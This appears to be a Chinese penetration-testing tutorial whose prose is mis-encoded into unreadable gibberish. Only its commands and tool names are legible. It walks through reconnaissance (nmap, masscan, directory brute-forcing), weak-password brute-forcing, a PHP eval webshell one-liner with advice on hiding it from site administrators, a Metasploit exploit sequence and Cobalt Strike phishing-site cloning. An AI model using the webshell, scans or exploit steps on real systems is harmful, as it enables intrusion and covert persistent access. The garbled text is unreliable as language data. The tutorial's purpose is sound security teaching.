¸ÅÊö

Éø͸²âÊÔµÄÄ¿µÄ¿ÉÒÔÊǵ¥¸öÖ÷»ú£¬£¬£¬£¬Ò²¿ÉÒÔÊÇÕû¸öÄÚÍø¡£¡£¡£¡£ÔÚʵսÖУ¬£¬£¬£¬ºÃ±È×î½üÈç»ðÈçݱµÄHWÐж¯£¬£¬£¬£¬¸ü¶àµÄÊǶÔÒ»¸öÄ¿µÄµÄÄÚÍø¾ÙÐÐÉø͸£¬£¬£¬£¬ÕùÈ¡»ñµÃËùÓÐÓмÛÖµµÄ×ʲú¡£¡£¡£¡£ÍêÕûµÄÄÚÍøÉø͸Éæ¼°µÄ°ì·¨ÈçÏÂͼËùʾ¡£¡£¡£¡£ÎÒÃÇ×ÜÊÇÏÈͨ¹ý¶ÔÍâÌṩЧÀ͵ģ¬£¬£¬£¬·ÀÊØ×ÈõµÄÖ÷»ú´ò½øÈ¥£¬£¬£¬£¬È»ºó´î½¨ËíµÀ£¬£¬£¬£¬Í¨¹ý¸ÃÖ÷ʱ»ú¼ûÄÚ²¿µÄÆäËûÖ÷»ú¡£¡£¡£¡£¿£¿ìËÙºáÏòÒƶ¯µ½µ½ÄÚÍøÖеĽ¹µã×ʲú£¬£¬£¬£¬»ñÈ¡½¹µãÃô¸ÐÊý¾ÝºÍȨÏÞ£¬£¬£¬£¬Íê³ÉÒ»´ÎÌÛÍ´µÄ¹¥»÷¡£¡£¡£¡£

Step 1 ÐÅÏ¢ÍøÂç

Íê³É½çÏßÍ»ÆƵĵÚÒ»²½ÊÇÄ¿µÄ¹¤¾ß×ʲúµÄÐÅÏ¢ÍøÂç¡£¡£¡£¡£²î±ðÓÚÄÚÍøÉø͸»·½ÚÖÐÐÅÏ¢ÍøÂ磨ºóÉø͸£©£¬£¬£¬£¬´Ë²¿·ÖÐÅÏ¢ÍøÂçµÄÖ÷ÒªÕë¶Ô¹¤¾ßΪĿµÄЧÀÍÆ÷ϵͳ¡¢Êý¾Ý¿âϵͳ¡¢ÖÐÐļþϵͳ¡¢Ó¦ÓóÌÐòϵͳ¡¢ÒÔ¼°½çÏßÐÅÏ¢µÈ¡£¡£¡£¡£ÐëҪʱ¼ä»¹ÒªÕë¶ÔϵͳÖÎÀíÔ±¾ÙÐÐÐÅÏ¢ÍøÂç¡£¡£¡£¡£ÕâЩ×ÅʵÊÇΪÁËÕÒµ½Å³Èõ×ʲú¾ÙÐй¥»÷£¬£¬£¬£¬ÊÂʵ¡°ÊÁ×ÓÌôÈíµÄÄ󡱡£¡£¡£¡£

1.1 ÓòÃû¼°×ÓÓòÃû

OneForAll

´ÓÓòÃûÕÒIPÒÔ¼°×ÓÓòÃû±¬ÆÆ»¹Ã»ÓÐÂÄÀú¹ý£¬£¬£¬£¬Ö®ºóÂÄÀúÁËÔÙ¸üС£¡£¡£¡£

https://github.com/shmilylty/OneForAll

1.2 Ö÷»ú¡¢¶Ë¿ÚºÍЭÒé

Ö÷»ú´æ»î -> ²Ù×÷ϵͳ , ¶Ë¿Ú¿ª·Å -> ͨѶЭÒé

whois + ip È·¶¨IPÍø¶Î

Nmap

Éó²é¶Ë¿Ú¿ª·Å¼°ÆäÉÏͨѶЭÒ飺

namp -sS -sU target_ip -p 100-27018

-sS ΪTCP SYNɨÃè¾ßÓиüÇ¿Òþ²ØÐÔ£¬£¬£¬£¬²»½¨ÉèÅþÁ¬;

-sU ¼¤»îUDPɨÃ裬£¬£¬£¬¼ì²â¶Ë¿ÚÉÏ¿ªÆôµÄUDPЧÀÍ£»£»
£»

-p Ö¸¶¨É¨ÃèµÄ¶Ë¿Ú¹æÄ££¬£¬£¬£¬µ«»áÔ½·¢ºÄʱ£»£»
£»

ÒÔÉÏÕâÁ½¸öÏÂÁîÔÚûÓзÀ»ðǽµÄʱ¼ä½ÏÁ¿¹ÜÓᣡ£¡£¡£ÈôÊÇÐèÒªÈÆǽµÄ»°£¬£¬£¬£¬ÐèҪѡÔñÆäËûÕ½ÂÔÈçËéƬɨÃ裬£¬£¬£¬¾àÀëɨÃèµÈ£¬£¬£¬£¬Ö®ºóÓöµ½ÁËÔÙÕûÀí¡£¡£¡£¡£¿ÉÊÇ˼Ð÷¾ÍÊÇÊÓ²ì¶Ô·½µÄÏìÓ¦°üÈ»ºóʵʱÌæ»»Õ½ÂÔ»òÕß×éºÏÕ½ÂÔ¡£¡£¡£¡£

sudo nmap -A --version-intensity 9 target_ip -p target_port

-A ͬʱ·­¿ª²Ù×÷ϵͳ̽²âºÍ°æ±¾Ì½²â£¬£¬£¬£¬ÆäÖвÙ×÷ϵͳ̽²âÐèÒªsudoȨÏÞ£»£»
£»

--version-intensity È·¶¨°æ±¾É¨ÃèµÄÇ¿¶È£»£»
£»

target_port ÊÇÉÏÊöÏÂÁîÖ´ÐÐÖ®ºó»ñµÃµÄ¿ªÆôµÄ¶Ë¿Ú

masscan ¸ßËÙ ÎÞ״̬ɨÃè

ͨ¹ýmasscanÒ²¿ÉÒÔ¿ìËÙɨÃè»ñµÃC¶ÎºÍÅÔÕ¾¡£¡£¡£¡£ÆäÖÐÅÔÕ¾ÊÇָͳһ̨ЧÀÍÆ÷ÉϵÄÆäËûÍøÕ¾£¬£¬£¬£¬C¶ÎÊÇָͳһÄÚÍøÍø¶ÎÖеÄÆäËûЧÀÍÆ÷

FOFA Zoomeye µÈÍøÂç×ʲú¿Õ¼ä²â»æÒýÇæ

ÈôÊÇΪÁËÒþ²Ø£¬£¬£¬£¬Ò²¿ÉÒÔÖ±½ÓʹÓñ»¶¯ÐÅÏ¢ËѼ¯ÈçfofaÖ±½ÓÈ¥ËÑIP¡£¡£¡£¡£

1.3 ¶Ë¿ÚЧÀͼ°ÆäÉÏ¿ò¼ÜCMS»ò×é¼þ

Wapoalyzer

¹ØÓÚÍøÕ¾¶øÑÔ£¬£¬£¬£¬¿ÉÒÔʹÓÃchromeµÄ²å¼þWappalyzerÈ¥ÆÊÎö°üÀ¨Ç°¶Ë¿ò¼Ü£¬£¬£¬£¬ºó¶Ë¿ò¼Ü¡¢Ð§ÀÍÆ÷ÀàÐÍ¡¢²å¼þ¡¢±à³ÌÓïÑԵȵȰ汾ÐÅÏ¢¡£¡£¡£¡£

ÊÖ¹¤ÆÊÎö

¿ÉÊÇÒ»¶¨²»¿ÉÒÀÀµÓÚÒ»¸ö²å¼þ¸ã¶¨Ò»ÇУ¬£¬£¬£¬´ó´ó¶¼ÇéÐÎÏÂÐèÒª¶ÔÍøÕ¾¾ÙÐÐÊÖ¹¤Ê¶±ð£¬£¬£¬£¬ÈçHTTPµÄÏìӦͷ£¬£¬£¬£¬HTMLµÄbody¡¢title¡¢meta¡¢classÃüÃû£¬£¬£¬£¬ÍøÕ¾µÄĿ¼½á¹¹ÒÔ¼°±¨´íÐÅÏ¢µÈ¡£¡£¡£¡£

Github

ÔÚ»ñµÃÏêϸ¿ò¼ÜÖ®ºó¿ÉÒÔʵÑéÔÚgithubÉÏËÑһϣ¬£¬£¬£¬¿ÉÄÜ»áÓÐÍøÕ¾µÄÔ´Â룬£¬£¬£¬»òÕßÐí¶àÓÐÓõÄÐÅÏ¢¡£¡£¡£¡£

ÔÆϤƽ̨

±ðµÄ£¬£¬£¬£¬ÔÆϤ×ʲú̽²âƽ̨ºÜºÃÓã¬£¬£¬£¬¿ÉÊÇÐèÒªÔ¼ÇëÂë¡£¡£¡£¡£Õⲿ·ÖÖ÷ÒªµÄÄÚÈݲ»¹ýÊÇÈ·¶¨¿ò¼ÜºÍ×é¼þ£¬£¬£¬£¬ÉÐÓа汾ÐÅÏ¢¡£¡£¡£¡£ÓÐÁË°æ±¾ÐÅÏ¢¾Í¿ÉÒÔÈ¥ÕÒһЩûÓÐÐÞ¸´µÄÎó²î¹¥½øÈ¥¡£¡£¡£¡£

1.4 Wafʶ±ð

wafw00f

wafw00fÊÇÒ»¸öWebÓ¦Ó÷À»ðǽ£¨WAF£©Ö¸ÎÆʶ±ðµÄ¹¤¾ß¡£¡£¡£¡£

ÏÂÔصص㣺https://github.com/EnableSecurity/wafw00f

1.5 Ŀ¼±¬ÆÆ

µ«·²Éæ¼°µ½±¬ÆÆ£¬£¬£¬£¬Ò»¶¨ÊÇÐèÒªºÏÊʵÄ×ÖµäµÄ¡£¡£¡£¡£ÈôÊÇ¿ÉÒÔÈ·¶¨ÍøÕ¾µÄ¿ò¼Ü£¬£¬£¬£¬ÄÇô¿ÉÒÔͨ¹ýÑ°ÕÒÆäÍøÕ¾¿ò¼Ü»òÕßϵͳµÄÔ´Âë¿ÉÒÔ»ñµÃ¿ÉÄܱ£´æµÄ·¾¶£¬£¬£¬£¬´ó´óïÔÌ­±¬ÆÆ´ÎÊý¡£¡£¡£¡£±ðµÄ£¬£¬£¬£¬Í¨¹ýGoogle HackingÒ²¿ÉÄÜÓÐÒâÏë²»µ½µÄÊÕ»ñ¡£¡£¡£¡£×îºÃÊÇÒÑÖª¸ú·¾¶Ö®ºóÔÙȥɨ·¾¶Ï¿ÉÒÔ»á¼ûµ½µÄÎļþ£¬£¬£¬£¬ÕâÑù¿ÉÒÔ¼«´óµØÌá¸ß±¬ÆÆЧÂÊ¡£¡£¡£¡£

dirsearch

https://github.com/maurosoria/dirsearch

Google Hacking

Google HackingµÄ¹¦Ð§ÓкÜÊǶ࣬£¬£¬£¬½èÖúÓÚGoogleËÑË÷ÒýÇ棬£¬£¬£¬Ëü¿ÉÒÔ×ÊÖúÎÒÃÇ×öµ½Èç×ÓÓòÃû»ñÈ¡¡¢C¶ÎºÍÅÔվɨÃè¡¢Ãô¸Ð·¾¶É¨Ãè¡¢Ãô¸ÐÄÚÈÝÅÌÎʵȵȡ£¡£¡£¡£

¿ÉÒԲο¼Õâƪ²©¿Í https://www.cnblogs.com/H4ck3R-XiX/p/12489218.html

Step 2 Îó²îɨÃè

¹ØÓÚÎó²îɨÃ裬£¬£¬£¬ÎÒµÄÃ÷È·Êǵ±ÇåÎúÄã×ʲúÉÏÔËÐеÄЧÀÍ¡¢¿ò¼Ü»òÕß×é¼þµÄÃû³ÆºÍ°æ±¾µÄʱ¼ä£¬£¬£¬£¬Ö±½ÓËÑË÷ÒýÇæÈ¥ÕÒ1day¾Í¾Í¿ÉÒÔ¡£¡£¡£¡£ÏÖÔÚÍøÕ¾»ù±¾¶¼ÊǶþ´Î¿ª·¢£¬£¬£¬£¬Ò»¶¨ÒѾ­±»ÈËÑо¿¹ýÁË¡£¡£¡£¡£ÒÔÊÇÕâÓ¦¸ÃÊÇ×îÏÈʵÑéµÄ£¬£¬£¬£¬¶ø²»ÊÇÖ±½ÓÉϹ¤¾ß¡£¡£¡£¡£

½ÓÏÂÀ´£¬£¬£¬£¬¿ÉÒÔʹÓÃXray¡¢MSF»òÕßÌض¨¿ò¼ÜµÄÎó²îɨÃèÆ÷ͨ¹ýPOCȥȷÈÏÍøÕ¾ÊÇ·ñº¬ÓиÃÎó²î¡£¡£¡£¡£²»ÒªÖ±½ÓʹÓÃXrayÈ¥×Ô¶¯É¨ÃèÍøÕ¾£¬£¬£¬£¬ÊÔͼͨ¹ý̽²âËùÓÐweb½Ó¿ÚÈ¥ÕÒÎó²î£¬£¬£¬£¬Ð§Âʺܵ͡£¡£¡£¡£

2.1 Xray

XrayÊÇÒ»¿îºÜÊÇÓÅÒìµÄWebɨÃèÆ÷£¬£¬£¬£¬ËüÉè¼ÆµÄ³õÖ¾ÊǺܺõģ¬£¬£¬£¬²¢ÇÒÖ§³Ö×Ô½ç˵POC¡£¡£¡£¡£¿ÉÊÇÈôÊÇÄ¿µÄʹÓÃÁËÒѾ­Ðû²¼µÄϵͳ»òÕß¿ò¼Ü£¬£¬£¬£¬ÎÒÃǾÍûÓÐÐëÒª×Ô¼ºÈ¥²âÊÔÁË£¬£¬£¬£¬Ö±½Ó°Ñ±ðÈ˵ÄÑо¿Ð§¹ûÄÃÀ´ÓþͺÃÁË¡£¡£¡£¡£

2.2 ÈõÃÜÂ뱬ÆÆ

ÈôÊÇÕÒµ½ÈκεǼ½çÃ棬£¬£¬£¬Ïëµ½µÄµÚÒ»¼þʾÍÓ¦¸ÃÊÇÈõÃÜÂëµÇ¼¡£¡£¡£¡£

¿ÉÊÇ£¬£¬£¬£¬»¹ÒªÈ¥È·ÈÏÍøÕ¾ÓÐûÓÐʹÓÃÑéÖ¤Âë¡£¡£¡£¡£»£»
£»òÕßÑéÖ¤ÂëµÄÊDz»ÊÇ¿ÉÒÔÈƹýµÄ£¬£¬£¬£¬ºÃ±ÈʵսÖÐÓöµ½µÄÒ»¸öÍøÕ¾µÄÑéÖ¤Âë¾ÍÊÇͨ¹ýÓû§µÄCookieÖеÄidÌìÉúµÄ£¬£¬£¬£¬Ò²¾ÍÊÇ˵µ±Óû§CookieºÍÑéÖ¤ÂëµÄ°ó¶¨ÎȹÌʱ£¬£¬£¬£¬ºǫ́ÑéÖ¤ÓÀÔ¶ÊÇ׼ȷµÄ¡£¡£¡£¡£

ÈôÊÇûÓÐÑéÖ¤Âë»òÕßÑéÖ¤Âë¿ÉÒÔÈƹý£¬£¬£¬£¬Ôò¿ÉÒÔʹÓÃBurp SuiteÖеÄIntruderÄ£¿£¿é¾ÙÐб¬ÆÆ¡£¡£¡£¡£±ðµÄ£¬£¬£¬£¬ÐèҪעÖصÄÊDZ¬ÆƵÄ×ÖµäÒ»¶¨ÒªÈ¥ËѼ¯Ï£¬£¬£¬£¬×Ô´ø×Öµä×ÅʵÊDz»µÃÐС£¡£¡£¡£

Step 3 Îó²îʹÓÃ

3.1 ÒϽ£

ÒϽ£ÊÇÖйúÓÅÒìµÄWeb ShellÍøÕ¾'ÖÎÀí'Èí¼þ¡£¡£¡£¡£

ÒϽ£µÄÔ­Àí¶¼ÊÇÔÚ»ñÈ¡ÍøÕ¾ÎļþÐ޸ĻòÕßÏÂÁîÖ´ÐеÄȨÏÞÖ®ºó£¬£¬£¬£¬ÔÚÍøÕ¾µÄºǫ́µÄ´úÂëÖвåÈëÕâÑùÒ»¾äľÂí¡£¡£¡£¡£È»ºóÔÙÈ¥ÇëÇóÕâÑù²åÈëÒ»¾ä»°Ä¾ÂíµÄÎļþ£¬£¬£¬£¬ÔÚÆäÖÐʹÓÃPOSTÇëÇó×ֶβåÈë´ýÖ´ÐеÄÖ¸Á£¬£¬£¬È»ºóÔÙÏìÓ¦°üÖлñÈ¡ÏÂÁîÖ´ÐÐЧ¹û¡£¡£¡£¡£×Åʵ£¬£¬£¬£¬ËùνµÄÃÜÂë'jfe'£¬£¬£¬£¬¾ÍÊÇÇëÇóµÄPOST×Ö¶ÎÃû£¬£¬£¬£¬ÒÔÊÇÕâ¾ä»°µÄÒâ˼¾ÍÊÇÔÚÊý¾Ý°üÖÐPOST×Ö¶ÎÃûΪ'jfe'µÄ×Ö¶Îֵȡ³öÀ´È»ºóÖ´ÐС£¡£¡£¡£ËäÈ»£¬£¬£¬£¬ÆäËûµÄÒþ²ØºÍÈƹýÒªÁ춼ÊÇÔÚÕâ¸öÔ­ÀíÖ®Éϵģ¬£¬£¬£¬ºÃ±ÈÌæ»»ÆäËûº¯Êý£¬£¬£¬£¬»ìÏý±àÂ룬£¬£¬£¬ÖØÐÂÌÜд´úÂëµÈ¡£¡£¡£¡£

<?php eval(@$_POST['jfe']); ?>

ĬÈÏÇéÐÎÏ£¬£¬£¬£¬ÒϽ£µÄÁ÷Á¿ÊÇÌØÊâÏÔ×ŵģ¬£¬£¬£¬²»¹ýÒ²¿ÉÒÔʹÓòå¼þ»òÕßÊðÀí¶ÔÁ÷Á¿¼ÓÃÜ£¬£¬£¬£¬Î޷ǾÍÊÇÔÚÔ­Óлù´¡ÉÏÔöÌí¼ÓÃܽâÃܵİ취¡£¡£¡£¡£

ÎÒ×Ô¼ºÒÔΪһ¸ö½ÏÁ¿ºÃµÄ·½·¨ÊÇ°ÑÒ»¾ä»°Ä¾Âí»òÕßľÂí´úÂë¶Î¼ÓÔص½Ò»¸öƫƧµÄÒ³Ãæ´úÂëÀ£¬£¬£¬È»ºóÔÚÕý³£ÇëÇó»ù´¡ÉÏÔÙÌí¼ÓPOST×ֶδøÉÏÒªÖ´ÐеÄÖ¸Áî¡£¡£¡£¡£ÕâÑùÔÚËûµÄWebĿ¼Àï²¢²»»áÓÐÒ»¸öÎļþÂäµØ£¬£¬£¬£¬²¢ÇÒÇëÇóµÄurlÒ²ÊÇÕý³£µÄ£¬£¬£¬£¬²»»áÒýÆðÍøÕ¾ÖÎÀíÔ±µÄ×¢ÖØ¡£¡£¡£¡£ÈçÏÂËùʾ£¬£¬£¬£¬ÒϽ£Ö§³ÖÌí¼ÓÕý³£ÇëÇóʱÊý¾Ý±¨ÎĵÄÍ·²¿ºÍÇëÇóÌ壬£¬£¬£¬ÒÔ×îºéÁ÷ƽÉÏαװ³ÉÕý³£Á÷Á¿¡£¡£¡£¡£

ÒϽ£Í¨¹ýWeb ShellµÄ·½·¨Íê³ÉÓëÄ¿µÄ»úµÄÒþ²ØͨѶ£¬£¬£¬£¬ÒÔÊǽÏÁ¿Îȹ̡£¡£¡£¡£²¢ÇÒÒϽ£ÓµÓÐͼÐλ¯½çÃæ²¢ÇÒ¹¦Ð§ºÜÊǶ࣬£¬£¬£¬°üÀ¨Web Shell¡¢ÎļþÖÎÀí¡¢Êý¾Ý²Ù×÷£¨Êý¾Ý¿âÉó²é£©µÈµÈ¡£¡£¡£¡£

3.2 Metasploit (MSF)

MSF×÷Ϊһ¸öÉø͸²âÊÔ¿ò¼Ü¿ÉÒÔÍê³ÉÎó²îɨÃè¡¢Îó²îʹÓá¢ÌìÉú¹¥»÷ÔغɻòľÂí»òshellcode¡¢¼àÌýµÈʹÃü¡£¡£¡£¡£

½ÓÏÂÀ´ÒÔ¹¥»÷һ̨XP×÷ΪʾÀý£¬£¬£¬£¬Ê¹ÓÃmsfµÄ»ù±¾µÄÁ÷³ÌÈçÏ£º

msf6 > search smb type:exploit platform:windows # Õë¶ÔÄ¿µÄʹÓÃexp

msf6 > use 0 # Ñ¡ÔñÒ»¸öexp

msf6 > show options # Éó²é¸ÃexpµÄÑ¡Ïî

msf6 > show payloads # Ñ¡ÔñÓÃÓÚ¼á³ÖÅþÁ¬µÄpayload

msf6 > set RHOST 10.10.10.10 # ÉèÖÃһϵÁÐexpµÄÑ¡Ïî

msf6 > exploit

×îÖÕÀÖ³ÉÄõ½metepreterµÄshell¡£¡£¡£¡£meterpreterÓµÓ쫶àµÄ¹¦Ð§£¬£¬£¬£¬¿ÉÒÔÍê³ÉºóÐøµÄÐÅÏ¢ËѼ¯ºÍÌáȨµÈ£¬£¬£¬£¬ÊǺÜÊÇÇ¿Ê¢µÄºóÉø͸¹¤¾ß¡£¡£¡£¡£

ÎÒÃÇÄÃÏÂÒ»¸öÄ¿µÄµÄ·½·¨µÄÄõ½¸ÃÄ¿µÄµÄshell£¬£¬£¬£¬¼´¿ØÖÆͨµÀ£¬£¬£¬£¬¿ÉÊÇ»ñÈ¡shellµÄ·½·¨ÓÐÐí¶àÖÖ²¢ÇÒÄõ½µÄÒ²ÊDzî±ðµÄshell¡£¡£¡£¡£ÎÒÃÇ¿ÉÒÔ±ÈÕÕÒ»ÏÂÒϽ£¡¢±ùЫµÄwebshell£¬£¬£¬£¬msfµÄmetepreterÒÔ¼°CSµÄbeacon£¬£¬£¬£¬Ë¼Ë÷ËûÃÇÊÇÔõÑùÍê³ÉÒÔÏÂÈýµãµÄ£º

ľÂí¿Í»§¶ËÔÚÄ¿µÄ»úÉϵÄÒþ²Ø

Ö¸ÁîÔÚÄ¿µÄ»úÉÏÔËÐÐÒÔ¼°Ö´ÐÐЧ¹û»ØÏÔ

ľÂí¿Í»§¶ËºÍЧÀÍÆ÷¶ËµÄͨѶ

Õâ¸ö²¿·Ö¿ÉÒԲο¼³¤Í¤µÄÕâƪ²©¿Í[https://zhuanlan.zhihu.com/p/371444680]£¬£¬£¬£¬ÓÉÓÚÎÒ×Ô¼º»¹Ã»ÓÐʱ¼äÈ¥¶ÁËûÃÇʵÏÖµÄÔ´Â룬£¬£¬£¬¿ÉÄÜÖ®ºó»áµ¥¶ÀдһƪÎÄÕ£¬£¬£¬£¬Ì¸Ò»Ì¸×Ô¼ºµÄÃ÷È·¡£¡£¡£¡£

Viper ÊÇmsfµÄͼÐλ¯½çÃæµÄ°æ±¾£¬£¬£¬£¬ËäÈ»ÉÐÓÐÐí¶àÐèÒªÍêÉƵģ¬£¬£¬£¬¿ÉÊÇͼÐλ¯½çÃæÓÀÔ¶ÊǸüÀû±ãÖ±¹ÛµÄ¡£¡£¡£¡£

ÏîÄ¿µØµã£ºhttps://github.com/FunnyWolf/Viper

3.3 Cobalt Strike

Cobalt StrikeÔÚº£ÄÚÊÕµ½Á˸ü¶àµÄ´µÅõ£¬£¬£¬£¬¿ÉÊÇ×Ô¼ºÔÚÏÖʵģÄâÉø͸²âÊÔÖÐÕÕ¾ÉʹÓÃMSF¸ü¶àһЩ¡£¡£¡£¡£ÎÒÏÖÔÚµÄÃ÷È·ÊÇCobalt Strike¸üרעÓÚºóÉø͸²âÊÔ£¬£¬£¬£¬ÓµÓÐÔ½·¢Îȹ̵ĿØÖÆͨµÀ£¬£¬£¬£¬²¢ÇÒÖ§³Ö¶àÈËͬʱ×÷Õ½¡£¡£¡£¡£¸üרעÓÚºóÉø͸²âÊÔµÄÒâ˼ÊÇ£¬£¬£¬£¬CSÖ÷ÒªÈÏÕæÌìÉúÖÖÖÖÐÎʽµÄpayload£¬£¬£¬£¬Ò²¾ÍÊÇÓÃÓÚͨѶµÄºóÃÅ£¬£¬£¬£¬¿ÉÊÇÔõÑùʹÓÃÎó²î½«payloadÔÚÄ¿µÄ»úÉÏÔËÐУ¬£¬£¬£¬Ê¹Ä¿µÄÉÏÏߣ¬£¬£¬£¬¾Í²»ÊÇÆäÖ÷Òª¹Ø×¢µãÁË¡£¡£¡£¡£ËüÖ÷ÒªÈÏÕæÄ¿µÄÉÏÏßÖ®ºóµÄºóÐø²Ù×÷¡£¡£¡£¡£

Cobalt StrikeµÄ¿ØÖÆͨµÀ½Ð×öBeacon£¬£¬£¬£¬ÔÚÒþ²ØÐŵÀÉÏΪÎÒÃÇÌṩЧÀÍ£¬£¬£¬£¬ÓÃÓÚºã¾Ã¿ØÖÆÊÜѬȾÖ÷»ú¡£¡£¡£¡£ÓëMSFÖеÄpayloadÍê³ÉµÄÊÇͳһ¼þÊ¡£¡£¡£¡£BeaconÖ§³Öͨ¹ýHTTP(S)¡¢DNS¡¢SMB¡¢TCPËÄÖÖ¾ÙÐÐͨѶ£¬£¬£¬£¬ÊÊÓÃÓÚ¸ü¶àµÄʵս³¡¾°£¬£¬£¬£¬²¢ÇÒÏà±ÈÓÚMSFµÄmeterpreterÔ½·¢Îȹ̡£¡£¡£¡£

Cobalt StrikeµÄºóÉø͸²âÊÔÄ£¿£¿é¿ÉÒÔЭÖúÉø͸²âÊÔÖ°Ô±¾ÙÐÐÐÅÏ¢ÍøÂ硢ȨÏÞÌáÉý¡¢¶Ë¿ÚɨÃè¡¢¶Ë¿Úת·¢¡¢ºáÏòÒƶ¯¡¢³¤ÆÚ»¯µÈ²Ù×÷¡£¡£¡£¡£ÕâЩ¹¦Ð§¿ÉÒÔͨ¹ýÌí¼Ó²å¼þÀ´Íê³É¡£¡£¡£¡£

ÖµµÃÒ»ÌáµÄÊÇ£¬£¬£¬£¬CS¾ßÓÐÒ»¼ü¿Ë¡´¹ÂÚÍøÕ¾µÄ¹¦Ð§£¬£¬£¬£¬ÅäºÏÇéÐκͻ°Êõ£¬£¬£¬£¬Ä¿µÄºÜÈÝÒ×Öмơ£¡£¡£¡£

ÎÄÕÂȪԴ£ºjackfromeast.site

×÷Õߣºjackfromeast

ÈôÓÐÇÖȨ£¬£¬£¬£¬ÇëÁªÏµÉ¾³ý